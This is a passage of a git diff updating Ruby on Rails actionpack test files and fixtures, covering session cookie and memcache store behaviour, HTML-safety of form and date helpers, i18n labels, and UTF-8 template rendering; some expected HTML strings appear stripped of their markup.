HttpOnly", + headers['Set-Cookie'] + end + end + def test_close_raises_when_data_overflows with_test_route_set do assert_raise(ActionController::Session::CookieStore::CookieOverflow) { @@ -145,7 +176,7 @@ class CookieStoreTest < ActionController::IntegrationTest with_test_route_set do get '/no_session_access' assert_response :success - assert_equal "", headers['Set-Cookie'] + assert_equal nil, headers['Set-Cookie'] end end @@ -155,7 +186,7 @@ class CookieStoreTest < ActionController::IntegrationTest "fef868465920f415f2c0652d6910d3af288a0367" get '/no_session_access' assert_response :success - assert_equal "", headers['Set-Cookie'] + assert_equal nil, headers['Set-Cookie'] end end @@ -169,7 +200,7 @@ class CookieStoreTest < ActionController::IntegrationTest get '/call_reset_session' assert_response :success - assert_not_equal [], headers['Set-Cookie'] + assert_not_equal "", headers['Set-Cookie'] assert_not_equal session_payload, cookies[SessionKey] get '/get_session_value' @@ -178,6 +209,57 @@ class CookieStoreTest < ActionController::IntegrationTest end end + def test_setting_session_value_after_session_clear + with_test_route_set do + get '/set_session_value' + assert_response :success + session_payload = response.body + assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly", + headers['Set-Cookie'] + + get '/call_session_clear' + assert_response :success + + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + end + end + + def test_getting_from_nonexistent_session + with_test_route_set do + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + assert_nil headers['Set-Cookie'], "should only create session on write, not read" + end + end + + # {:foo=>#, :session_id=>"ce8b0752a6ab7c7af3cdb8a80e6b9e46"} + SignedSerializedCookie = "BAh7BzoIZm9vbzodU2Vzc2lvbkF1dG9sb2FkVGVzdDo6Rm9vBjoJQGJhciIIYmF6Og9zZXNzaW9uX2lkIiVjZThiMDc1MmE2YWI3YzdhZjNjZGI4YTgwZTZiOWU0Ng==--2bf3af1ae8bd4e52b9ac2099258ace0c380e601c" + + def test_deserializes_unloaded_classes_on_get_id + with_test_route_set do + with_autoload_path "session_autoload_test" do + cookies[SessionKey] = SignedSerializedCookie + get '/get_session_id_only' + assert_response :success + assert_equal 'id: ce8b0752a6ab7c7af3cdb8a80e6b9e46', response.body, "should auto-load unloaded class" + end + end + end + + def test_deserializes_unloaded_classes_on_get_value + with_test_route_set do + with_autoload_path "session_autoload_test" do + cookies[SessionKey] = SignedSerializedCookie + get '/get_session_value' + assert_response :success + assert_equal 'foo: #', response.body, "should auto-load unloaded class" + end + end + end + def test_persistent_session_id with_test_route_set do cookies[SessionKey] = SignedBar @@ -193,14 +275,26 @@ class CookieStoreTest < ActionController::IntegrationTest end end + def test_setting_session_value_and_cookie + with_test_route_set do + get '/set_session_value_and_cookie' + assert_response :success + assert_equal({"_myapp_session" => response.body, "foo" => "bar"}, cookies) + end + end + private - def with_test_route_set + def with_test_route_set(options = {}) with_routing do |set| set.draw do |map| map.with_options :controller => "cookie_store_test/test" do |c| c.connect "/:action" end end + + options = { :key => SessionKey, :secret => SessionSecret }.merge!(options) + @integration_session = open_session(ActionController::Session::CookieStore.new(DispatcherApp, options)) + yield end end diff --git a/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb b/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb index 2f80a3c7..2714ee52 100644 --- a/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb +++ b/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb @@ -12,12 +12,16 @@ class MemCacheStoreTest < ActionController::IntegrationTest head :ok end + def set_serialized_session_value + session[:foo] = SessionAutoloadTest::Foo.new + head :ok + end + def get_session_value render :text => "foo: #{session[:foo].inspect}" end def get_session_id - session[:foo] render :text => "#{request.session_options[:id]}" end @@ -33,13 +37,6 @@ class MemCacheStoreTest < ActionController::IntegrationTest begin DispatcherApp = ActionController::Dispatcher.new - MemCacheStoreApp = ActionController::Session::MemCacheStore.new( - DispatcherApp, :key => '_session_id') - - - def setup - @integration_session = open_session(MemCacheStoreApp) - end def test_setting_and_getting_session_value with_test_route_set do @@ -82,6 +79,34 @@ class MemCacheStoreTest < ActionController::IntegrationTest end end + def test_getting_session_value_after_session_reset + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + session_id = cookies["_session_id"] + + get '/call_reset_session' + assert_response :success + assert_not_equal [], headers['Set-Cookie'] + + cookies["_session_id"] = session_id # replace our new session_id with our old, pre-reset session_id + + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from memcached" + end + end + + def test_getting_from_nonexistent_session + with_test_route_set do + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + assert_nil cookies['_session_id'], "should only create session on write, not read" + end + end + def test_getting_session_id with_test_route_set do get '/set_session_value' @@ -91,7 +116,38 @@ class MemCacheStoreTest < ActionController::IntegrationTest get '/get_session_id' assert_response :success - assert_equal session_id, response.body + assert_equal session_id, response.body, "should be able to read session id without accessing the session hash" + end + end + + def test_doesnt_write_session_cookie_if_session_id_is_already_exists + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + + get '/get_session_value' + assert_response :success + assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists" + end + end + + def test_deserializes_unloaded_class + with_test_route_set do + with_autoload_path "session_autoload_test" do + get '/set_serialized_session_value' + assert_response :success + assert cookies['_session_id'] + end + with_autoload_path "session_autoload_test" do + get '/get_session_id' + assert_response :success + end + with_autoload_path "session_autoload_test" do + get '/get_session_value' + assert_response :success + assert_equal 'foo: #', response.body, "should auto-load unloaded class" + end end end @@ -114,14 +170,18 @@ class MemCacheStoreTest < ActionController::IntegrationTest end private - def with_test_route_set + def with_test_route_set(options = {}) with_routing do |set| set.draw do |map| map.with_options :controller => "mem_cache_store_test/test" do |c| c.connect "/:action" end end + + options = { :key => '_session_id' }.merge!(options) + @integration_session = open_session(ActionController::Session::MemCacheStore.new(DispatcherApp, options)) + yield end end -end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/test/controller/url_rewriter_test.rb b/vendor/rails/actionpack/test/controller/url_rewriter_test.rb index fdc4cfa3..11add3a8 100644 --- a/vendor/rails/actionpack/test/controller/url_rewriter_test.rb +++ b/vendor/rails/actionpack/test/controller/url_rewriter_test.rb @@ -65,9 +65,11 @@ class UrlRewriterTests < ActionController::TestCase @params[:action] = 'bye' @params[:id] = '2' - assert_equal '/hi/hi/2', @rewriter.rewrite(:only_path => true, :overwrite_params => {:action => 'hi'}) - u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:action => 'hi'}) - assert_match %r(/hi/hi/2$), u + assert_deprecated /overwrite_params/ do + assert_equal '/hi/hi/2', @rewriter.rewrite(:only_path => true, :overwrite_params => {:action => 'hi'}) + u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:action => 'hi'}) + assert_match %r(/hi/hi/2$), u + end end def test_overwrite_removes_original @@ -75,9 +77,11 @@ class UrlRewriterTests < ActionController::TestCase @params[:action] = 'list' @params[:list_page] = 1 - assert_equal '/search/list?list_page=2', @rewriter.rewrite(:only_path => true, :overwrite_params => {"list_page" => 2}) - u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:list_page => 2}) - assert_equal 'http://test.host/search/list?list_page=2', u + assert_deprecated /overwrite_params/ do + assert_equal '/search/list?list_page=2', @rewriter.rewrite(:only_path => true, :overwrite_params => {"list_page" => 2}) + u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:list_page => 2}) + assert_equal 'http://test.host/search/list?list_page=2', u + end end def test_to_str @@ -130,9 +134,15 @@ class UrlWriterTests < ActionController::TestCase ) end - def test_anchor_should_be_cgi_escaped - assert_equal('/c/a#anc%2Fhor', - W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('anc/hor')) + def test_anchor_should_escape_unsafe_pchar + assert_equal('/c/a#%23anchor', + W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('#anchor')) + ) + end + + def test_anchor_should_not_escape_safe_pchar + assert_equal('/c/a#name=user&email=user@domain.com', + W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('name=user&email=user@domain.com')) ) end diff --git a/vendor/rails/actionpack/test/fixtures/localized/hello_world.de.html b/vendor/rails/actionpack/test/fixtures/localized/hello_world.de.html new file mode 100644 index 00000000..4727d7a7 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/localized/hello_world.de.html @@ -0,0 +1 @@ +Gutten Tag \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/localized/hello_world.en.html b/vendor/rails/actionpack/test/fixtures/localized/hello_world.en.html new file mode 100644 index 00000000..5e1c309d --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/localized/hello_world.en.html @@ -0,0 +1 @@ +Hello World \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb b/vendor/rails/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb new file mode 100644 index 00000000..145c92e1 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb @@ -0,0 +1,10 @@ +module SessionAutoloadTest + class Foo + def initialize(bar='baz') + @bar = bar + end + def inspect + "#<#{self.class} bar:#{@bar.inspect}>" + end + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/_customer_counter_with_as.erb b/vendor/rails/actionpack/test/fixtures/test/_customer_counter_with_as.erb new file mode 100644 index 00000000..1241eb60 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_customer_counter_with_as.erb @@ -0,0 +1 @@ +<%= client.name %><%= client_counter %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/_utf8_partial.html.erb b/vendor/rails/actionpack/test/fixtures/test/_utf8_partial.html.erb new file mode 100644 index 00000000..8d717fd4 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_utf8_partial.html.erb @@ -0,0 +1 @@ +<%= "текст" %> diff --git a/vendor/rails/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb b/vendor/rails/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb new file mode 100644 index 00000000..4e222461 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb @@ -0,0 +1,2 @@ +<%# encoding: utf-8 -%> +<%= "текст" %> diff --git a/vendor/rails/actionpack/test/fixtures/test/array_translation.erb b/vendor/rails/actionpack/test/fixtures/test/array_translation.erb new file mode 100644 index 00000000..bcdeea4c --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/array_translation.erb @@ -0,0 +1 @@ +<% translation = t(['foo', 'bar', 'baz_html']) %><%= translation.first %>, <%= translation.second %>, <%= translation.third %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/capturing.erb b/vendor/rails/actionpack/test/fixtures/test/capturing.erb index 1addaa40..cdca9763 100644 --- a/vendor/rails/actionpack/test/fixtures/test/capturing.erb +++ b/vendor/rails/actionpack/test/fixtures/test/capturing.erb @@ -1,4 +1,4 @@ <% days = capture do %> - Dreamy days +

    Dreamy days

    <% end %> -<%= days %> \ No newline at end of file +<%= days %> diff --git a/vendor/rails/actionpack/test/fixtures/test/scoped_array_translation.erb b/vendor/rails/actionpack/test/fixtures/test/scoped_array_translation.erb new file mode 100644 index 00000000..cb07fca8 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/scoped_array_translation.erb @@ -0,0 +1 @@ +<%= t(['.foo', '.bar']).join(", ") %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/translation.erb b/vendor/rails/actionpack/test/fixtures/test/translation.erb new file mode 100644 index 00000000..81a837d1 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/translation.erb @@ -0,0 +1 @@ +<%= t('.helper') %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb b/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb index 0b4d19aa..ac98c2f0 100644 --- a/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb +++ b/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb @@ -1,2 +1,4 @@ -Русский текст -日本語のテキスト \ No newline at end of file +Русский <%= render :partial => 'test/utf8_partial' %> +<%= "日".encoding %> +<%= @output_buffer.encoding %> +<%= __ENCODING__ %> diff --git a/vendor/rails/actionpack/test/fixtures/test/utf8_magic.html.erb b/vendor/rails/actionpack/test/fixtures/test/utf8_magic.html.erb new file mode 100644 index 00000000..257279c2 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/utf8_magic.html.erb @@ -0,0 +1,5 @@ +<%# encoding: utf-8 -%> +Русский <%= render :partial => 'test/utf8_partial_magic' %> +<%= "日".encoding %> +<%= @output_buffer.encoding %> +<%= __ENCODING__ %> diff --git a/vendor/rails/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb b/vendor/rails/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb new file mode 100644 index 00000000..cb22692f --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb @@ -0,0 +1,5 @@ +<%# encoding: utf-8 -%> +Русский <%= render :partial => 'test/utf8_partial' %> +<%= "日".encoding %> +<%= @output_buffer.encoding %> +<%= __ENCODING__ %> diff --git a/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb index 4b6e8ddc..cac04c8e 100644 --- a/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb +++ b/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb @@ -2,7 +2,7 @@ require 'abstract_unit' class ActiveRecordHelperI18nTest < Test::Unit::TestCase include ActionView::Helpers::ActiveRecordHelper - + attr_reader :request def setup @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages']) @@ -35,10 +35,17 @@ class ActiveRecordHelperI18nTest < Test::Unit::TestCase I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns '' error_messages_for(:object => @object, :locale => 'en') end - + def test_error_messages_for_given_object_name_it_translates_object_name I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name).returns "1 error prohibited this #{@object_name} from being saved" I18n.expects(:t).with(@object_name, :default => @object_name, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name) end + + def test_error_messages_for_given_object_name_with_underscore_it_translates_object_name + I18n.expects(:t).with('bank_account', :default => 'bank account', :count => 1, :scope => [:activerecord, :models]).once.returns 'bank account' + I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => 'bank account').returns "1 error prohibited this bank account from being saved" + error_messages_for(:object => @object, :locale => 'en', :object_name => 'bank_account') + end end + diff --git a/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb b/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb index 46e6129a..a4e0d264 100644 --- a/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb +++ b/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb @@ -128,7 +128,6 @@ class AssetTagHelperTest < ActionView::TestCase ImageLinkToTag = { %(image_tag("xml.png")) => %(Xml), - %(image_tag("..jpg")) => %(), %(image_tag("rss.gif", :alt => "rss syndication")) => %(rss syndication), %(image_tag("gold.png", :size => "45x70")) => %(Gold), %(image_tag("gold.png", "size" => "45x70")) => %(Gold), diff --git a/vendor/rails/actionpack/test/template/date_helper_test.rb b/vendor/rails/actionpack/test/template/date_helper_test.rb index 9fb2080f..9a2d4908 100644 --- a/vendor/rails/actionpack/test/template/date_helper_test.rb +++ b/vendor/rails/actionpack/test/template/date_helper_test.rb @@ -1229,6 +1229,23 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ]) end + def test_date_select_without_day_and_with_disabled_html_option + @post = Post.new + @post.written_on = Date.new(2004, 6, 15) + + expected = "\n" + + expected << %{\n" + + expected << %{\n" + + assert_dom_equal expected, date_select("post", "written_on", { :order => [ :month, :year ] }, :disabled => true) + end + def test_date_select_within_fields_for @post = Post.new @post.written_on = Date.new(2004, 6, 15) @@ -1713,6 +1730,25 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'}) end + def test_time_select_with_disabled_html_option + @post = Post.new + @post.written_on = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{\n} + expected << %{\n} + expected << %{\n} + + expected << %(\n" + expected << " : " + expected << %(\n" + + assert_dom_equal expected, time_select("post", "written_on", {}, :disabled => true) + end + def test_datetime_select @post = Post.new @post.updated_at = Time.local(2004, 6, 15, 16, 35) @@ -2173,6 +2209,66 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true) end + def test_datetime_select_discard_year_and_month_with_disabled_html_option + @post = Post.new + @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{\n} + expected << %{\n} + expected << %{\n} + + expected << %{\n" + expected << " : " + expected << %{\n" + + assert_dom_equal expected, datetime_select("post", "updated_at", { :discard_year => true, :discard_month => true }, :disabled => true) + end + + def test_datetime_select_discard_hour + @post = Post.new + @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{\n" + expected << %{\n" + expected << %{\n" + + assert_dom_equal expected, datetime_select("post", "updated_at", :discard_hour => true) + end + + def test_datetime_select_discard_minute + @post = Post.new + @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{\n" + expected << %{\n" + expected << %{\n" + + expected << " — " + + expected << %{\n" + expected << %{\n} + + assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true) + end + def test_datetime_select_invalid_order @post = Post.new @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35) @@ -2475,6 +2571,28 @@ class DateHelperTest < ActionView::TestCase }, options) end + def test_select_html_safety + assert select_day(16).html_safe? + assert select_month(8).html_safe? + assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe? + assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe? + assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe? + + assert select_minute(8, :use_hidden => true).html_safe? + assert select_month(8, :prompt => 'Choose month').html_safe? + + assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe? + assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe? + end + + def test_object_select_html_safety + @post = Post.new + @post.written_on = Date.new(2004, 6, 15) + + assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe? + assert time_select("post", "written_on", :ignore_date => true).html_safe? + end + protected def with_env_tz(new_tz = 'US/Eastern') old_tz, ENV['TZ'] = ENV['TZ'], new_tz diff --git a/vendor/rails/actionpack/test/template/erb_util_test.rb b/vendor/rails/actionpack/test/template/erb_util_test.rb index c8c986f2..06f09547 100644 --- a/vendor/rails/actionpack/test/template/erb_util_test.rb +++ b/vendor/rails/actionpack/test/template/erb_util_test.rb @@ -14,6 +14,18 @@ class ErbUtilTest < Test::Unit::TestCase end end end + + def test_html_escape_is_html_safe + escaped = h("

    ") + assert_equal "<p>", escaped + assert escaped.html_safe? + end + + def test_html_escape_passes_html_escpe_unmodified + escaped = h("

    ".html_safe) + assert_equal "

    ", escaped + assert escaped.html_safe? + end def test_rest_in_ascii (0..127).to_a.map(&:chr).each do |chr| diff --git a/vendor/rails/actionpack/test/template/form_helper_test.rb b/vendor/rails/actionpack/test/template/form_helper_test.rb index f22302d3..5b62674f 100644 --- a/vendor/rails/actionpack/test/template/form_helper_test.rb +++ b/vendor/rails/actionpack/test/template/form_helper_test.rb @@ -92,6 +92,19 @@ class FormHelperTest < ActionView::TestCase tests ActionView::Helpers::FormHelper def setup + super + + # Create "label" locale for testing I18n label helpers + I18n.backend.store_translations 'label', { + :helpers => { + :label => { + :post => { + :body => "Write entire text here" + } + } + } + } + @post = Post.new @comment = Comment.new def @post.errors() @@ -112,6 +125,10 @@ class FormHelperTest < ActionView::TestCase @post.secret = 1 @post.written_on = Date.new(2004, 6, 15) + def Post.human_attribute_name(attribute) + attribute.to_s == "cost" ? "Total cost" : attribute.to_s.humanize + end + @controller = Class.new do attr_reader :url_for_options def url_for(options) @@ -137,6 +154,27 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal('', label(:post, :secret?)) end + def test_label_with_locales_strings + old_locale, I18n.locale = I18n.locale, :label + assert_dom_equal('', label("post", "body")) + ensure + I18n.locale = old_locale + end + + def test_label_with_human_attribute_name + old_locale, I18n.locale = I18n.locale, :label + assert_dom_equal('', label(:post, :cost)) + ensure + I18n.locale = old_locale + end + + def test_label_with_locales_symbols + old_locale, I18n.locale = I18n.locale, :label + assert_dom_equal('', label(:post, :body)) + ensure + I18n.locale = old_locale + end + def test_label_with_for_attribute_as_symbol assert_dom_equal('', label(:post, :title, nil, :for => "my_for")) end @@ -1102,12 +1140,12 @@ class FormHelperTest < ActionView::TestCase class LabelledFormBuilder < ActionView::Helpers::FormBuilder (field_helpers - %w(hidden_field)).each do |selector| - src = <<-END_SRC + src, line = <<-END_SRC, __LINE__ + 1 def #{selector}(field, *args, &proc) - (" " + super + "
    ").html_safe! + (" " + super + "
    ").html_safe end END_SRC - class_eval src, __FILE__, __LINE__ + class_eval src, __FILE__, line end end @@ -1182,6 +1220,22 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end + + def test_default_form_builder_without_object + + form_for(:post) do |f| + concat f.error_message_on('author_name') + concat f.error_messages + end + + expected = %(

    ) + + %(
    can't be empty
    ) + + %(

    1 error prohibited this post from being saved

    There were problems with the following fields:

    • Author name can't be empty
    ) + + %(
    ) + + assert_dom_equal expected, output_buffer + + end # Perhaps this test should be moved to prototype helper tests. def test_remote_form_for_with_labelled_builder diff --git a/vendor/rails/actionpack/test/template/form_options_helper_test.rb b/vendor/rails/actionpack/test/template/form_options_helper_test.rb index aa40e46a..9c65abfc 100644 --- a/vendor/rails/actionpack/test/template/form_options_helper_test.rb +++ b/vendor/rails/actionpack/test/template/form_options_helper_test.rb @@ -280,6 +280,10 @@ class FormOptionsHelperTest < ActionView::TestCase opts end + def test_time_zone_options_returns_html_safe_string + assert time_zone_options_for_select.html_safe? + end + def test_select @post = Post.new @post.category = "" diff --git a/vendor/rails/actionpack/test/template/form_tag_helper_test.rb b/vendor/rails/actionpack/test/template/form_tag_helper_test.rb index 09a0c646..95778ac6 100644 --- a/vendor/rails/actionpack/test/template/form_tag_helper_test.rb +++ b/vendor/rails/actionpack/test/template/form_tag_helper_test.rb @@ -113,19 +113,19 @@ class FormTagHelperTest < ActionView::TestCase end def test_select_tag - actual = select_tag "people", "" + actual = select_tag "people", "".html_safe expected = %() assert_dom_equal expected, actual end def test_select_tag_with_multiple - actual = select_tag "colors", "", :multiple => :true + actual = select_tag "colors", "".html_safe, :multiple => :true expected = %() assert_dom_equal expected, actual end def test_select_tag_disabled - actual = select_tag "places", "", :disabled => :true + actual = select_tag "places", "".html_safe, :disabled => :true expected = %() assert_dom_equal expected, actual end @@ -135,6 +135,12 @@ class FormTagHelperTest < ActionView::TestCase assert_match VALID_HTML_ID, input_elem['id'] end + def test_select_tag_with_array_options + assert_deprecated /array/ do + select_tag "people", [""] + end + end + def test_text_area_tag_size_string actual = text_area_tag "body", "hello world", "size" => "20x40" expected = %() @@ -170,6 +176,12 @@ class FormTagHelperTest < ActionView::TestCase assert_dom_equal expected, actual end + def test_text_area_tag_unescaped_nil_content + actual = text_area_tag "body", nil, :escape => false + expected = %() + assert_dom_equal expected, actual + end + def test_text_field_tag actual = text_field_tag "title", "Hello!" expected = %() @@ -256,9 +268,9 @@ class FormTagHelperTest < ActionView::TestCase assert_dom_equal %(), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes") assert_dom_equal %(), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil) assert_dom_equal %(), tag(:input, :type => "checkbox", :checked => false) - assert_dom_equal %(), select_tag("people", "", :multiple => true) - assert_dom_equal %(), select_tag("people[]", "", :multiple => true) - assert_dom_equal %(), select_tag("people", "", :multiple => nil) + assert_dom_equal %(), select_tag("people", "".html_safe, :multiple => true) + assert_dom_equal %(), select_tag("people[]", "".html_safe, :multiple => true) + assert_dom_equal %(), select_tag("people", "".html_safe, :multiple => nil) end def test_stringify_symbol_keys @@ -313,19 +325,19 @@ class FormTagHelperTest < ActionView::TestCase expected = %(
    Your detailsHello world!
    ) assert_dom_equal expected, output_buffer - self.output_buffer = '' + self.output_buffer = ''.html_safe field_set_tag { concat "Hello world!" } expected = %(
    Hello world!
    ) assert_dom_equal expected, output_buffer - self.output_buffer = '' + self.output_buffer = ''.html_safe field_set_tag('') { concat "Hello world!" } expected = %(
    Hello world!
    ) assert_dom_equal expected, output_buffer - self.output_buffer = '' + self.output_buffer = ''.html_safe field_set_tag('', :class => 'format') { concat "Hello world!" } expected = %(
    Hello world!
    ) diff --git a/vendor/rails/actionpack/test/template/render_test.rb b/vendor/rails/actionpack/test/template/render_test.rb index 9adf053b..454aa4c9 100644 --- a/vendor/rails/actionpack/test/template/render_test.rb +++ b/vendor/rails/actionpack/test/template/render_test.rb @@ -247,14 +247,6 @@ module RenderTestCases assert_equal %(title\n
    column
    \n
    content
    \n), @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield") end - - if '1.9'.respond_to?(:force_encoding) - def test_render_utf8_template - result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") - assert_equal "Русский текст\n日本語のテキスト", result - assert_equal Encoding::UTF_8, result.encoding - end - end end module TemplatesSetupTeardown @@ -286,5 +278,52 @@ class ReloadableRenderTest < Test::Unit::TestCase def setup setup_view_paths_for(cache_templates = false) end + + if '1.9'.respond_to?(:force_encoding) + def test_render_utf8_template_with_magic_comment + with_external_encoding Encoding::ASCII_8BIT do + result = @view.render(:file => "test/utf8_magic.html.erb", :layouts => "layouts/yield") + assert_equal Encoding::UTF_8, result.encoding + assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result + end + end + + def test_render_utf8_template_with_default_external_encoding + with_external_encoding Encoding::UTF_8 do + result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") + assert_equal Encoding::UTF_8, result.encoding + assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result + end + end + + def test_render_utf8_template_with_incompatible_external_encoding + with_external_encoding Encoding::SJIS do + begin + result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") + flunk 'Should have raised incompatible encoding error' + rescue ActionView::TemplateError => error + assert_match 'invalid byte sequence in Shift_JIS', error.original_exception.message + end + end + end + + def test_render_utf8_template_with_partial_with_incompatible_encoding + with_external_encoding Encoding::SJIS do + begin + result = @view.render(:file => "test/utf8_magic_with_bare_partial.html.erb", :layouts => "layouts/yield") + flunk 'Should have raised incompatible encoding error' + rescue ActionView::TemplateError => error + assert_match 'invalid byte sequence in Shift_JIS', error.original_exception.message + end + end + end + + def with_external_encoding(encoding) + old, Encoding.default_external = Encoding.default_external, encoding + yield + ensure + Encoding.default_external = old + end + end end diff --git a/vendor/rails/actionpack/test/template/text_helper_test.rb b/vendor/rails/actionpack/test/template/text_helper_test.rb index 715c390c..03c2611a 100644 --- a/vendor/rails/actionpack/test/template/text_helper_test.rb +++ b/vendor/rails/actionpack/test/template/text_helper_test.rb @@ -1,3 +1,4 @@ +# encoding: us-ascii require 'abstract_unit' require 'testing_sandbox' begin @@ -17,7 +18,7 @@ class TextHelperTest < ActionView::TestCase end def test_concat - self.output_buffer = 'foo' + self.output_buffer = ActiveSupport::SafeBuffer.new('foo') assert_equal 'foobar', concat('bar') assert_equal 'foobar', output_buffer end @@ -39,6 +40,14 @@ class TextHelperTest < ActionView::TestCase assert_equal %Q(

    para 1

    \n\n

    para 2

    ), simple_format("para 1\n\npara 2", :class => 'test') end + def test_simple_format_should_be_html_safe + assert simple_format(" test with html tags ").html_safe? + end + + def test_simple_format_should_not_escape_safe_input + assert_equal "

    test with safe string

    ", simple_format(" test with safe string ".html_safe) + end + def test_truncate assert_equal "Hello World!", truncate("Hello World!", :length => 12) assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12) @@ -224,6 +233,8 @@ class TextHelperTest < ActionView::TestCase assert_equal("2 counts", pluralize('2', "count")) assert_equal("1,066 counts", pluralize('1,066', "count")) assert_equal("1.25 counts", pluralize('1.25', "count")) + assert_equal("1.0 count", pluralize('1.0', "count")) + assert_equal("1.00 count", pluralize('1.00', "count")) assert_equal("2 counters", pluralize(2, "count", "counters")) assert_equal("0 counters", pluralize(nil, "count", "counters")) assert_equal("2 people", pluralize(2, "person")) @@ -285,6 +296,7 @@ class TextHelperTest < ActionView::TestCase assert_equal %(

    Link #{link_result_with_options}

    ), auto_link("

    Link #{link_raw}

    ", :all, {:target => "_blank"}) assert_equal %(Go to #{link_result}.), auto_link(%(Go to #{link_raw}.)) assert_equal %(

    Go to #{link_result}, then say hello to #{email_result}.

    ), auto_link(%(

    Go to #{link_raw}, then say hello to #{email_raw}.

    )) + assert_equal %(#{link_result} #{link_result}), auto_link(%(#{link_result} #{link_raw})) email2_raw = '+david@loudthinking.com' email2_result = %{#{email2_raw}} @@ -356,11 +368,39 @@ class TextHelperTest < ActionView::TestCase assert_equal %(

    #{link10_result} Link

    ), auto_link("

    #{link10_raw} Link

